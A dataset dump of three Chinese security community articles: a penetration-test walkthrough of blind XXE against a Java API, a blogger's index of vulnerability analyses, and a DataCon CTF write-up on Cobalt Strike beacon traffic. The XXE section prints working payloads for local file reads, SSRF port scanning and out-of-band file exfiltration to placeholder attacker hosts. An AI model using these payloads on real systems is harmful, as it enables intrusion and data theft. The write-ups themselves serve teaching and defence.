text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
在进入正文前，我想告诉大家，文章没有涉及任何XXE攻击的任何新技巧，这只是我遇到的一个案例，我只想分享给大家。
简短的摘要是非常重要的：
* 在对后台一无所知的情况下发现了一个XXE漏洞，该漏洞没有返回任何数据或者文件，这就是盲打XXE
* 使用盲打XXE进行基于报错的端口扫描
* 成功的外部交互正常进行
* 充分利用了盲打XXE识别了后端系统的文件
身为渗透测试人员，我每天都的学习都很充实，有的来自喜爱的阅读，有的来自工作。每天都像是在学校的生活，我总是能遇到一些以前见过的东西，但它的实现是不一样的。这次的案例是客户端的请求数据为JSON格式，只要改变`content-type`为XMl，服务器就会处理XML实体，然后服务器会根据收到的请求内容返回不同的错误。
# 你对XXE了解吗？
无论读者是研究过xxe的或对此一无所知的，不要担心，下面这段文字（摘自OWASP）将为你做简短的描述，从而有助接下来的阅读。
>
> XML外部实体攻击是一种应用层攻击，攻击的前提是应用能够解析XML。XXE发生的场景通常是用户在XML输入中包含了外部实体引用，且该外部实体也能被错误配置的XML解析器解析。从解析器所在的主机角度来看，这种攻击可能会引起机密信息泄漏、拒绝服务攻击、服务器请求伪造、端口扫描和其他系统影响。
如果你没有明白owasp的通用描述，没关系。其实XXE就是在说你向应用程序发送了恶意的XML内容，接着应用程序因为处理你的恶意请求导致信息泄漏。除了可能导致信息泄漏外，还可能引起本地文件包含（LFI），远程代码执行（RCE），拒绝服务攻击（DoS），服务器请求伪造（SSRF）和其他类型的攻击。上述谈到的类型是渗透测试中应关注的重点。
XXE本质上是另一种类型的注入攻击，如果恰当利用危害也非常大。这篇文章将以问题的形式来讲述我最近一次渗透测试遇到的问题和之后一次赏金之旅（漏洞奖励项目）中的发现，其实这两次的问题本质上都是因为应用在XML输入的处理上没有充分过滤。
# 最初的发现
在一次渗透测试中，我将数据格式为JSON的POST请求的Content-type改成了XML，那是我第一次怀疑服务器能够处理XML文档。下面这个请求是一个例子：
POST /broken/api/confirm HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/xml;charset=UTF-8
[{}]
与请求对应的响应如下，返回了Java错误。
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
从返回的错误来看，可以得知后台处理了收到的XML，同时因为在处理提取的内容时发生了问题所以导致了响应错误。与应用的其他响应对比可知，这个响应算是奇怪的代表了，因为其他的响应返回都是`True`或`False`。
# 继续前行
接下来对于我来说，自然是反复尝试发送不同类型的内容给服务器，观察应用程序是如何响应的。所以，我一开始选择了发送普通的XML攻击载荷去试水，同时校验之前的错误不是偶然发生的。
POST /broken/api/confirm HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="utf-8"?>
我再次向应用程序发出请求，得到的错误响应和之前的略微有些不同，多了一些关于错误的上下文环境。
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Unexpected EOF in prolog
at [row,col {unknown-source}]: [3,0]]
这个现象证明了我的猜测（应用程序能够处理XML输入）。除此之外，这个错误响应也证明了服务器认为data数据是意外终止的（data数据不完整），这意味服务器希望收到的POST请求中包含更多的XML信息。
# 开始猎杀
猎杀从这里开始了。对于大多数人来说，两次错误之间的差异已经足够证明一些东西了。然而，这对于我来说是远远不够的，我想看看通过这些差异能深入多少，还有什么我没发现的信息。所以我使用了一个普通的XXE攻击载荷去探索本地文件。
攻击载荷如下：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///etc/passwd">
%a;
]>
令人沮丧的是应用程序的返回依然是普通的错误，和之前的EOF错误相似。所以，我不得不深挖找出服务器的信息，为此选择了SSRF。
SSSRF是一类基本的攻击，攻击者通过向应用程序发送精心构造的请求来触发服务器行为。如果充分利用的话可以实施端口扫描，有些情况甚至能执行远程代码。
# 端口扫描
在前面的本地文件探索费了些时间后，我写了一个攻击载荷用于SSRF，攻击载荷中的XML就是用来探测服务器上指定的端口，目的是判断本地（127.0.0.1）端口的情况。
攻击载荷如下：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
哈哈，接下来时刻真令人鼓舞。应用程序返回了另外一种错误，这次的错误（connection refused）在某种程度上是有意义的。
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Connection refused
那这到底是什么意义呢？很明显这意味着应用程序完全能解析带有XML内容的请求，那本地主机的端口扫描呢？哇哦，都说到了这，是时候使用burp的intruder。
将攻击点设为端口和URL协议，添加制作有效载荷:
* 1) URL协议列表（HTTP、HTTPS和FTP）
* 2) 这种情况下，进行全端口（0-65535）扫描。
完成上面的攻击需要花些时间，因为这大概需要发送20w请求（端口数xURL协议）。
过了会儿，我根据长度将响应排序发现8080端口（HTTP和HTTPS）似乎是开放的，接着对这两个响应进行了仔细的观察确认了内容不同，这暗示着这些端口实际就是开放的。
这是8080端口的HTTP的响应包：
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: ████████████████████████: Unrecognized DTD directive '<!DOCTYPE >'; expected ATTLIST, ELEMENT, ENTITY or NOTATION (or, for DTD++, TARGETNS)
at [row,col,system-id]: [1,9,"http://127.0.0.1:8080/"]
from [row,col {unknown-source}]: [1,1]]
这是8080端口的HTTPS的响应包：
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Unrecognised SSL message, plaintext connection?]
从HTTP响应来看，我发现与之前返回的`Connection
Refused`不同，这次是另一个错误，暗示着端口开放。从HTTPS响应来看，该响应的内容也表明了端口是开放的，通信是在纯文本协议上进行的而不是SSL。
按照目前的逻辑，下一步很自然想到内网端口扫描，但这个时候我并不知道内网IP是多少，所以端口扫描被搁置了，我转向去鉴定服务器的对外访问了。
# 外交
除了端口扫描，控制服务器对外网站发送请求是有可能的，所以我在自己的服务器使用了
[ncat](https://nmap.org/ncat)。我认为NCAT比netcat稍微好用一些，因为它给出了关于成功连接的更详细信息，同时它和netcat的标志一致，这非常棒。
我用了下面的命令在自己的服务器上进行监听：
`ncat -lvkp 8090`
* `-l`启用ncat的监听模式
* `v`启用详情输出模式
* `k`在成功连接后确保连接的存活
* `p`指定监听的端口
如果你对ncat感兴趣，你可以查看它的[官方手册](http://man7.org/linux/man-pages/man1/ncat.1.html)
监听器安置妥当后，下一步将检测应用服务器能否和我的服务器建立链接。我将使用下面的请求来完成这个测试（如果没有vps或服务器，可以使用 _burp_
_collaborator_ ）:
POST /broken/api/confirm HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8090/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
注意上面请求的端口不是固定的，我选择8090端口是为了演示。无论什么情况下，只要请求发送成功了，自己的服务器应该都能收到下面的消息：
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8090
Ncat: Listening on 0.0.0.0:8090
Ncat: Connection from ██████████████████.
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_60
Host: ATTACKERHOST:8090
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
上述信息的关键包含了受害者服务器IP地址，仔细观察会发现这是一台亚马逊的web服务器实例。此外，请求的`ua`头是`Java/1.8.0_60`表明后台使用了java开发。另一种识别文件存在的攻击是针对服务器的OOB攻击。
# 带外攻击（OOB）
## 文件识别
除了外部交互，还可以通过OOB请求的响应来识别服务器上文件的存在。所以我在OOB攻击使用了FTP协议来判别文件。
下面这个请求已发送给应用程序，这里用来演示和测试。
POST /broken/api/confirm HTTP/1.1
Host: example.com
Content-Type: application/xml;charset=UTF-8
Content-Length: 132
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://ATTACKERSERVER:8090/xxe_file.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
这个请求被受害者服务器解析后，将向攻击者服务器发送请求，请求攻击者精心构造带有payload的DTD文件，这种场景下的文件内容通常是下面这样的：
<!ENTITY % d SYSTEM "file:///var/www/web.xml">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ATTACKERSERVER:2121/%d;'>">
这个攻击载荷（包含payload的请求）向攻击者服务器发出了第二个请求（第一个是面向受害者服务器的），请求的是一个DTD文件，其中包含了对目标服务器上另一个文件的请求。
如果文件不存在，服务器将返回`No such file or directory`的响应。有些和下面的响应类似：
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: (was java.io.FileNotFoundException) /var/www/index.html (No such file or directory)
at [row,col,system-id]: [2,63,"http://ATTACKERSERVER:8090/xxe_file.dtd"]
from [row,col {unknown-source}]: [4,6]]
但如果文件确实存在，响应就不同了。
因为我不知道root元素的名字，服务器返回了`A descriptor with default root element foo was not
found in the project`错误。
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████
Exception Description: A descriptor with default root element foo was not found in the project]
如果知道关于root元素名字的信息，攻击将更可见，破坏也更具有效果。因为这很可能造成本地文件读取并且我敢保证存在RCE的风险！
由于每个请求文件的响应不同，这一点对于攻击者来说是清晰可见的。所以攻击者可以对隐藏在应用程序背后的服务器有个大概的认知。
# 发现内网IP
通过使用上文所讲述的带外技术，我收集了应用程序主机的内网IP信息。这些信息是通过FTP协议获得的，这是利用了Java从连接字符串中提取的信息。
为了完成信息收集，我用了[xxe-ftp-server](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)，这个exp允许我在自定义的端口上进行监听和拦截。我将它安装了服务器上，监听着默认的2121端口。
接着我向应用程序发送了下面这个请求，该请求会使应用程序服务器向指定的攻击者服务器发送FTP请求。
POST /broken/api/confirm HTTP/1.1
Host: example.com
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "ftp://ATTACKERHOST:2121/">
%one;
%two;
%four;
%five;
]>
在发送FTP请求前，需要在自己的服务器上运行FTP服务。下面的结果展示了请求发给服务器时的情况。
ruby xxe-ftp-server.rb
FTP. New client connected
< USER anonymous
< PASS Java1.8.0_60@
> 230 more data please!
< TYPE A
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|10.10.13.37|38505|
> 230 more data please!
< LIST
< PORT 10,10,13,37,150,105
! PORT received
> 200 PORT command ok
< LIST
接着分解上面的输出，目标应用程序向接受登录请求的FTP服务器发送请求。登录请求中包含了Java版本和服务器内网IP和端口信息。这暗示了两件事情，1）内网网段范围很可能是
**10.10.x.x** 。2）从内网到外网出口似乎没有任何过滤，如果获得一个shell这将非常有用。
文中很早讨论过针对主机的端口扫描，当时是因为我不知道IP范围，只能扫描本地主机。得益于OOB技术的使用，确定了内网范围，所以另一边使用`burp
intruder`执行端口扫描。
扫描结果显示本机不仅开放了8080端口，而且还监听了所有接口的流量，这意味着可以实施更多的迭代猜测。这也意味着在本例中可以通过SSRF来识别其他的应用程序，这非常有意思。
# 防御建议
XXE的主要问题是XML解析器解析了用户发送的不可信数据（译者注：一切用户输入都是不可信的）。然而，在DTD文档中只验证系统标志符中出现的数据是不可能的。默认情况下，大多数XML解析器都容易遭受XXE攻击。所以，最好的解决办法是配置XML处理器仅使用本地静态DTD，同时禁止XML文档中的DTD声明。
# 拓展阅读
如果你喜欢这篇文章，同时又想更加了解XXE，下面这些文章将为你提供更多信息。
* [SMTP over XXE](https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/)
* [XXE OOB Attacks](http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html)
* [Generic XXE Detection](https://www.christian-schneider.net/GenericXxeDetection.html)
* [XXE on JSON EndPoints](https://blog.netspi.com/playing-content-type-xxe-json-endpoints/)
* [New Age of XXE(2015)](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE.pdf)
* [XXE Advanced Exploitaion](https://www.slideshare.net/d0znpp/xxe-advanced-exploitation)
* [XXE Payloads](https://gist.github.com/staaldraad/01415b990939494879b4)
[**原文在这**](https://blog.zsec.uk/blind-xxe-learning/) | 社区文章 |
**作者：k0shl
博客：<https://whereisk0shl.top/post/2019-03-09>**
### 写在前面
今天结束了最后一篇漏洞分析的分享，意味着我在15-16年分析的98篇漏洞分析全部分享结束了，我的博客从2016年10月23日上线之后一直保持更新，到现在经过了两年半的时间，感谢小伙伴们一直以来的支持。这98篇漏洞分析，也几乎是我15-16年学习二进制的全部回忆。
我在15-16年处于入门阶段，由于那段时间一直是自己学习，踩了很多坑，也学习到了很多东西，感谢帮助过我的前辈老师还有小伙伴们，以及看雪，i春秋，drops，玄武、wiki的推送以及大佬们的个人博客等等很多优质的学习资源，让我不断的意识到错误，改正错误，并始终保持着对技术的敬畏。
尤其是exploit-db，我这98篇文章几乎全部都是来自exploit-db，exploit-db提供了exploit/PoC，以及漏洞软件下载的地址，paper以及一些漏洞细节的说明，这让我在搭建环境方面节省了太多的精力，很多进行过漏洞分析的小伙伴可能深有体会，很多时候漏洞分析很快，但是搭建环境的坑很多。
也正是15-16年的学习让我从一个二进制的门外汉慢慢变成了一个初出茅庐的新手，深感二进制魅力无穷，01的世界精彩，也结实了很多很多好朋友，在他们身上学到了很多。
在更新的这两年半的时间里，不断收到邮件和QQ好友申请，有很多看过支持过我的读者们和我交流技术，提出建议，在带着技术疑问对我曾经的漏洞分析的复盘中，我发现了自己曾经许多的知识误区并及时改正，感谢与我讨论的读者们。
这两年半我也经历了很多重要的人生抉择，其实我也不知道在未来看自己当年的抉择是否正确，但至少我绝对不会后悔，因为至少现在看我的抉择是正确的，并且人生如棋，既然落子，那就不会也不能再后悔。感谢家人的支持，不光是人生抉择上，还有我当时在进行学习时的鼓励。
在这段时间我同时也在一些优质媒体诸如安全客等等上分享过一些这段时间的一些新的漏洞分析，相比较这98篇漏洞分析要更深入一些，也算是我成长的轨迹。最后还是要感谢所有支持过，看过我博客的读者们，今后我的博客也将继续保持不定期更新，分享一些最新的研究成果。
我把我这98篇漏洞分析按照漏洞类型进行了总结归纳在这里分享给大家，也作为一个分割线，结束是新的奋斗的开始，今后要继续努力啦！
### 漏洞总结索引
#### 越界读写
* [TCPDUMP 4.5.2拒绝服务漏洞](https://whereisk0shl.top/post/2016-10-23-1)
* [NetCat【nc】 0.7.1 远程拒绝服务漏洞](https://whereisk0shl.top/post/2019-02-04)
* [VideoLAN VLC Media Player 2.2.1](https://whereisk0shl.top/post/2019-03-09)
#### 栈溢出
* [HALLIBURTON LOGVIEW PRO拒绝服务漏洞](https://whereisk0shl.top/post/2016-10-23)
* [ABSOLUTEFTP 远程代码执行漏洞](https://whereisk0shl.top/post/2016-10-24)
* [Mini httpd远程代码执行漏洞(CVE-2013-5019)](https://whereisk0shl.top/post/2016-10-30)
* [PHP 5.0.0 tidy_parse_file代码执行漏洞](https://whereisk0shl.top/post/2016-11-03)
* [Asx to MP3本地代码执行漏洞](https://whereisk0shl.top/post/2016-11-04)
* [Cain RDP缓冲区溢出漏洞（CVE-2008-5405）](https://whereisk0shl.top/post/2016-11-05)
* [EFS Software HTTP Server远程代码执行漏洞](https://whereisk0shl.top/post/2016-11-10)
* [DameWare Mini Client远程代码执行漏洞（CVE-2016-2345）](https://whereisk0shl.top/post/2016-11-13)
* [i-FTP SEH缓冲区溢出漏洞](https://whereisk0shl.top/post/2016-11-17)
* [AutoPlay远程代码执行漏洞](https://whereisk0shl.top/post/2016-11-17-1)
* [putty pscp远程代码执行漏洞（CVE-2016-2563）](https://whereisk0shl.top/post/2016-11-23)
* [Free WMA MP3 Converter 1.8缓冲区溢出漏洞](https://whereisk0shl.top/post/2016-12-07)
* [Freefloat FTP Server远程代码执行漏洞](https://whereisk0shl.top/post/2016-12-10)
* [Disk Pulse Enterprise远程代码执行漏洞](https://whereisk0shl.top/post/2016-12-14)
* [MPlayer Lite栈溢出漏洞](https://whereisk0shl.top/post/2016-12-21)
* [CuteZip 2.1代码执行漏洞](https://whereisk0shl.top/post/2016-12-25)
* [Soritong MP3 Player代码执行漏洞](https://whereisk0shl.top/post/2016-12-28)
* [W10 NOVUS SCADA工控远程拒绝服务漏洞](https://whereisk0shl.top/post/2017-01-02)
* [WinCalc 2 .num栈溢出漏洞](https://whereisk0shl.top/post/2017-01-07)
* [Konica Minolta FTP CWD命令远程代码执行漏洞(CVE-2015-7768)](https://whereisk0shl.top/post/2017-01-14)
* [Ministream RM-MP3 CONVERTER远程代码执行漏洞（CVE-2014-9448）](https://whereisk0shl.top/post/2017-01-27)
* [Winstats(.fma)本地栈溢出漏洞](https://whereisk0shl.top/post/2017-02-03)
* [Mini-STREAM RIPPER .pls缓冲区溢出漏洞](https://whereisk0shl.top/post/2017-02-16)
* [INTELLITAMPER .map代码执行漏洞（CVE-2008-5755）](https://whereisk0shl.top/post/2017-02-24)
* [MP3Info 0.8.5a代码执行漏洞（CVE-2006-2465）](https://whereisk0shl.top/post/2017-03-04)
* [NOIP本地代码执行漏洞](https://whereisk0shl.top/post/2017-03-09)
* [[CVE-2011-5165]Free MP3 CD Ripper本地代码执行漏洞](https://whereisk0shl.top/post/2017-03-11)
* [CamShot1.2远程代码执行漏洞（SEH）](https://whereisk0shl.top/post/2017-03-17)
* [Photodex Proshow Producer本地代码执行漏洞](https://whereisk0shl.top/post/2017-03-25)
* [Video Charge Studio缓冲区溢出漏洞](https://whereisk0shl.top/post/2017-04-08)
* [xRadio 0.95b '.xrl'本地代码执行漏洞](https://whereisk0shl.top/post/2017-04-16)
* [[CVE-2015-7547]glibc getaddrinfo栈溢出漏洞](https://whereisk0shl.top/post/2017-04-20)
* [FTPShell Client 5.24本地文件创建功能缓冲区溢出漏洞](https://whereisk0shl.top/post/2017-04-23)
* [Destiny Media Player 1.61 'm3u'文件格式缓冲区溢出漏洞](https://whereisk0shl.top/post/2017-05-01)
* [Xion Audio Player '.m3u8'缓冲区溢出漏洞分析](https://whereisk0shl.top/post/2017-05-24)
* [BS.Player 2.57缓冲区溢出漏洞分析](https://whereisk0shl.top/post/2017-06-09)
* [HTML Help Workshop .SEH本地代码执行漏洞](https://whereisk0shl.top/post/html-help-workshop-.sehben-di-dai-ma-zhi-xing-lou-dong)
* [[CVE-2008-5405]Cain and Abel 4.9.24 RDP 缓冲区溢出漏洞](https://whereisk0shl.top/post/2017-09-09)
* [WS10 Data Server工控服务远程代码执行漏洞](https://whereisk0shl.top/post/2017-09-17)
* [iSQL Linux SQL管理工具缓冲区溢出漏洞](https://whereisk0shl.top/post/2017-09-23)
* [[CVE-2014-4158]Kolibri2.0远程代码执行漏洞分析](https://whereisk0shl.top/post/2017-11-05)
* [[CVE-2013-5019]Ultra Mini httpd 1.21远程代码执行漏洞分析](https://whereisk0shl.top/post/2017-11-11)
* [PInfo 0.6.9-5.1本地代码执行漏洞](https://whereisk0shl.top/post/2017-11-25)
* [HNB 1.9本地代码执行漏洞](https://whereisk0shl.top/post/2017-12-02)
* [Sunway Force Control SCADA 6.1 SP3工控服务远程代码执行漏洞](https://whereisk0shl.top/post/2017-12-09)
* [VUPlayer 2.49缓冲区溢出漏洞](https://whereisk0shl.top/post/2018-03-04)
* [Prosshd 1.2 post远程代码执行漏洞](https://whereisk0shl.top/post/2018-05-12)
* [TFTP Server 1.4远程代码执行漏洞分析](https://whereisk0shl.top/post/2018-06-03)
* [CoolPlayer+ Portable 2.19.6 - .m3u缓冲区溢出漏洞](https://whereisk0shl.top/post/2018-06-17)
* [MediaCoder 0.8.43.5852 - .m3u缓冲区溢出漏洞](https://whereisk0shl.top/post/2018-06-23)
* [Halliburton LogView Pro 9.7.5远程代码执行漏洞](https://whereisk0shl.top/post/2018-07-15)
* [EasyFTP Server 1.7.0.11 APPE远程代码执行漏洞](https://whereisk0shl.top/post/2018-07-28)
* [NScan 0.91 本地代码执行漏洞](https://whereisk0shl.top/post/2018-09-01)
* [LamaHub 0.0.62远程代码执行漏洞](https://whereisk0shl.top/post/2018-09-16)
* [阿里旺旺2010远程代码执行漏洞](https://whereisk0shl.top/post/2018-09-24)
* [EKG Gadu 本地代码执行漏洞](https://whereisk0shl.top/post/2018-10-06)
* [php 5.0 tidy_parse_file缓冲区溢出漏洞](https://whereisk0shl.top/post/2018-10-13)
* [Disk Pulse Enterprise远程代码执行漏洞](https://whereisk0shl.top/post/2018-10-22)
* [WDK 8.1 kill.exe内存破坏漏洞](https://whereisk0shl.top/post/2018-11-17)
* [LanSpy 2.0.0.155本地代码执行漏洞](https://whereisk0shl.top/post/2018-12-08)
* [Network Scanner 4.0.0本地代码执行漏洞分析](https://whereisk0shl.top/post/2018-12-22)
* [GNU GTypist 2.9.5-2本地拒绝服务漏洞](https://whereisk0shl.top/post/2018-12-31)
* [uSQLite1.0.0远程代码执行漏洞](https://whereisk0shl.top/post/2019-01-06)
* [WinaXe 7.7 远程代码执行漏洞](https://whereisk0shl.top/post/2019-01-19)
* [Dual DHCP DNS Server 7.29远程拒绝服务漏洞](https://whereisk0shl.top/post/2019-02-09)
* [ConQuest DICOM Server 1.4.17d 远程代码执行漏洞](https://whereisk0shl.top/post/2019-02-24)
* [Internet Download Accelerator 6.10.1.1527 远程代码执行漏洞](https://whereisk0shl.top/post/2019-03-02)
#### 空指针引用
* [FreeBSD 10.1 x86内核拒绝服务漏洞](https://whereisk0shl.top/post/2016-10-26)
* [onehttpd 0.7远程拒绝服务漏洞分析](https://whereisk0shl.top/post/2017-10-25)
* [[CVE-2013-3299]RealPlayer拒绝服务漏洞](https://whereisk0shl.top/post/2018-12-15)
* [Axessh 4.2拒绝服务漏洞](https://whereisk0shl.top/post/2019-01-13)
#### 内存破坏
* [BIND 9 buffer.c断言拒绝服务漏洞](https://whereisk0shl.top/post/2016-11-30-1)
* [GOMPlayer2.2wav格式拒绝服务漏洞](https://whereisk0shl.top/post/2016-12-17)
* [CP3 Studio PC异常处理函数拒绝服务漏洞](https://whereisk0shl.top/post/2017-04-01)
* [HTTPBLITZ远程拒绝服务漏洞](https://whereisk0shl.top/post/2017-05-18)
* [CVE-2011-3478 Symantec pcAnywhere远程代码执行漏洞](https://whereisk0shl.top/post/bo-ke-ban-jia-la-!-cve-2011-3478-symantec-pcanywhereyuan-cheng-dai-ma-zhi-xing-lou-dong)
* [nrss reader 0.3.9本地代码执行漏洞](https://whereisk0shl.top/post/2018-07-01)
#### 整数溢出
* [[CVE-2016-1885]FreeBSD 10.2 x64整数溢出漏洞分析](https://whereisk0shl.top/post/2017-05-06)
* [Easy Internet Sharing Proxy Server 2.2整数溢出远程代码执行漏洞](https://whereisk0shl.top/post/2019-01-26)
* [Serva 3.0.0 HTTP Server整数溢出远程拒绝服务漏洞](https://whereisk0shl.top/post/2019-02-16)
#### 释放后重用
* [CVE-2011-0065 Firefox释放后重用漏洞](https://whereisk0shl.top/post/2017-05-14)
* [[CVE-2016-0111]IE SetAttributeStringAndPointer释放后重用漏洞分析](https://whereisk0shl.top/post/cve-2016-0111-ie-setattributestringandpointershi-fang-hou-zhong-yong-lou-dong-fen-xi-ms16-023)
* [[MS12-077]IE10 CMarkup Use After Free漏洞分析](https://whereisk0shl.top/post/ms12-077-ie10-cmarkup-use-after-freelou-dong-fen-xi)
* [[MS16-063]IE11浏览器释放后重用漏洞](https://whereisk0shl.top/post/2018-07-20)
* [Microsoft Internet Explorer 11.0.9600.18482 - Use After Free](https://whereisk0shl.top/post/2018-11-24)
#### 逻辑
* [FHFS 1.2.1命令执行漏洞分析](https://whereisk0shl.top/post/2017-05-30)
* [LShell<=0.9.15远程代码执行漏洞](https://whereisk0shl.top/post/lshell-=0.9.15yuan-cheng-dai-ma-zhi-xing-lou-dong)
* [VSFTPD v2.3.4后门分析](https://whereisk0shl.top/post/vsftpd-v2.3.4hou-men-fen-xi)
* [JCG路由命令执行漏洞分析](https://whereisk0shl.top/post/jcglu-you-ming-ling-zhi-xing-lou-dong-fen-xi)
* [Proftpd-1.3.3c后门分析](https://whereisk0shl.top/post/proftpd-1.3.3chou-men-fen-xi)
* [[CVE-2014-6287]Rejetto HTTP File Server远程命令执行漏洞分析](https://whereisk0shl.top/post/cve-2014-6287-rejetto-http-file-serveryuan-cheng-ming-ling-zhi-xing-lou-dong-fen-xi)
#### 堆溢出
* [[CVE-2013-0658]Schneider Electirc Accutech工控服务堆溢出漏洞分析](https://whereisk0shl.top/post/cve-2013-0658-schneider-electirc-accutechgong-kong-fu-wu-dui-yi-chu-lou-dong-fen-xi)
* [[CVE-2014-9707]Goahead 3.1-3.4堆溢出远程代码执行漏洞](https://whereisk0shl.top/post/2017-12-23)
* [Windbg logviewer.exe缓冲区溢出漏洞](https://whereisk0shl.top/post/2018-04-26)
* * * | 社区文章 |
# 2021Datacon_Polaris_wp
流量赛道考察数据分析、流量分析、机器学习。
2021年的题目设计包括 **Cobalt Strike流量分析** （TeamServer特征、命令特征）和 **代理识别**
（代理app与隧道网页）两个方面。
## 一、恶意流量分析
题目描述为：
给出hint为：
整体的解题思路：
### 0．流量数据筛选
给定pcap包的时间跨度为40分钟，统计得到TCP流为11957条，服务端提供通信的端口为：`80`、`443`。对服务内容进行聚类得到两大类通信行为，一类是走http的门户网站浏览，一类是CDN资源请求。因此希望从网络行为的角度，识别通信过程中的恶意流量。
参考提示，从题目给的`stage1.pcap`中筛选可疑流量。
### 1．恶意域名提取
最简单的可疑流量筛选手段是看访问频率，统计失陷主机的请求域名（client_hello报文）统计如下：
由于加密流量载荷不可读的特点，，无法直接发现隐藏在正常域名后的可疑通信。访问频率高的10个域名为常用域名，优先关注可疑域名`d28e`，其所在的二级域cloudfront是CDN服务提供商，可能被攻击者用于隐藏与反溯源。跟进发现与d28e
域名的通信存在可疑的心跳行为，心跳间隔为45s：
结合题目描述，猜测d28e可能是Cobalt Strike渗透框架的TeamServer服务器。CS框架中，失陷主机上的Stager会向CS
Server上的一个路径发起请求，拉取一个被称为Beacon的后续样本。
提取流量数据中与CloudFront建连的通信域：
d3noow75xz96w4.cloudfront.net
d2lj8kjjwt8rn6.cloudfront.net
d32jqjeqo1vb2n.cloudfront.net
d28ef1bm70qsi.cloudfront.net
dku6bh98adktv.cloudfront.net
d2og948cy5uxtu.cloudfront.net
d1yr5tm734gi1r.cloudfront.net
通过Beacon扫描脚本grab_beacon_config.nse，对可疑主机的`80`、`443`端口进行beacon探测，结果如下：
`[*].cloudfront.net`的beacon扫描结果与正常域名的区别明显：
确定`[*].cloudfront.com`为恶意通信域名。
### 2\. 获取Beacon
检索相关资料得到：为了规避侦测，红队往往会对CS采用一些隐匿手段，常见方式有云函数和CDN等。这些隐匿手段隐匿了CS的真实IP。以Stager型Beacon为例，CS的上线流程如下图所示：
其中红框部分是受控主机在Exploit阶段后已被注入了Stage，Stage会向CS
Server上一个符合checksum8规则的路径发起请求，Server随后会响应Beacon内容，Stage拉取该后续样本后解密并解析Beacon配置信息。
访问符合校验和路径的URL下载攻击者放置在CDN节点上的Beacon文件：
解析Beacon文件获取Profile内容，在C2Server字段得到`key1`：
### 3．彩蛋
从除`d32jqjeqo1vb2n.cloudfront.net`外6个可疑域名下载的样本均解析成功，部分样本C2Server字段填充为:
`this.is.the.fake.c2.XD,/jquery-3.3.1.min.js`，唯独该样本 **解析失败**
。猜测该样本在构造时使用了自定义配置，导致样本解析出错。
单独对`d32j`下载的样本进行分析。经比较发现，正常样本中存在大量`0x2E`的padding字符，而该解析异常样本相同偏移位置的padding是`0x28`。
结合搜索引擎：
修改stager异或密钥是Beacon staging server **去特征**
的一种方法，而0x2E是默认配置信息的xor密钥，分析得该样本的xor密钥改为了`0x28`。对`d32jqjeqo1vb2n_x86`样本进行全局xor，得到彩蛋，
**Bingo!**
### 4\. 总结
1. 彩蛋环节需要关注报错和细心，一开始解析beacon发现有报错的时候，我们以为就是坏了。其他样本可以得到输出，就没有深入研究。打开解析失败的样本内容，会发现与可解析样本存在差异，把这个差异原因搞清楚了彩蛋就出来了。
2. 是C2服务端的攻防：后门C2是如果不考虑操作安全性，随意使用长连接直连服务器，很容易就被追踪发现。于是出现了Beacon（信标）后门，它是以定期发送信标到C2服务器获取指令的方式进行命令控制。提起Beacon大家大多都想到的是Cobalt Strike，但其实Beacon后门的技术细节可能不是Cobalt Strike原创，CIA可能才是鼻祖。从CIA泄漏的资料可以发现，他们研发的后门几乎都使用了Beacon标准。
